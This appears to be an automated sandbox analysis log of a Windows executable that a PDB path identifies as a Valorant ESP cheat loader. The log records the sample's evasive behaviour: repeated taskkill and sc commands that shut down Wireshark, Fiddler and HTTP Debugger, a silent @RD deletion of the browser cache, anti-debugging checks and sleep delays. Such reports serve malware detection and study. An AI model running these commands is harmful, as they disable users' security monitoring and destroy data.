Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: EspPrivStoreAtt116.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: EspPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: EspPrivStoreAtt116.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: EspPrivStoreAtt116.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant ESP\x64\Release\EpicGames.pdb source: EspPrivStoreAtt116.exe
Source:	Binary string: 2D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant ESP\x64\Release\EpicGames.pdb source: EspPrivStoreAtt116.exe

Source: EspPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: EspPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: EspPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: EspPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: EspPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D59290 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,strpbrk,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,malloc,GetSystemDirectoryA,LoadLibraryA,free,GetProcAddress,if_nametoindex,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,QueryPerformanceFrequency,

0_2_00007FF747D59290

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro

Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Window / User API: threadDelayed 4756	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Window / User API: threadDelayed 5201	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3578	Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-47905

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

API coverage: 5.2 %

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe TID: 7056	Thread sleep time: -237800s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe TID: 7056	Thread sleep time: -260050s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D9067C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF747D9067C

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D90A18 memset,GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF747D90A18

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

0_2_00007FF747D59290

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D90824 SetUnhandledExceptionFilter,	0_2_00007FF747D90824
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D9067C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF747D9067C
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D90384 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF747D90384

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
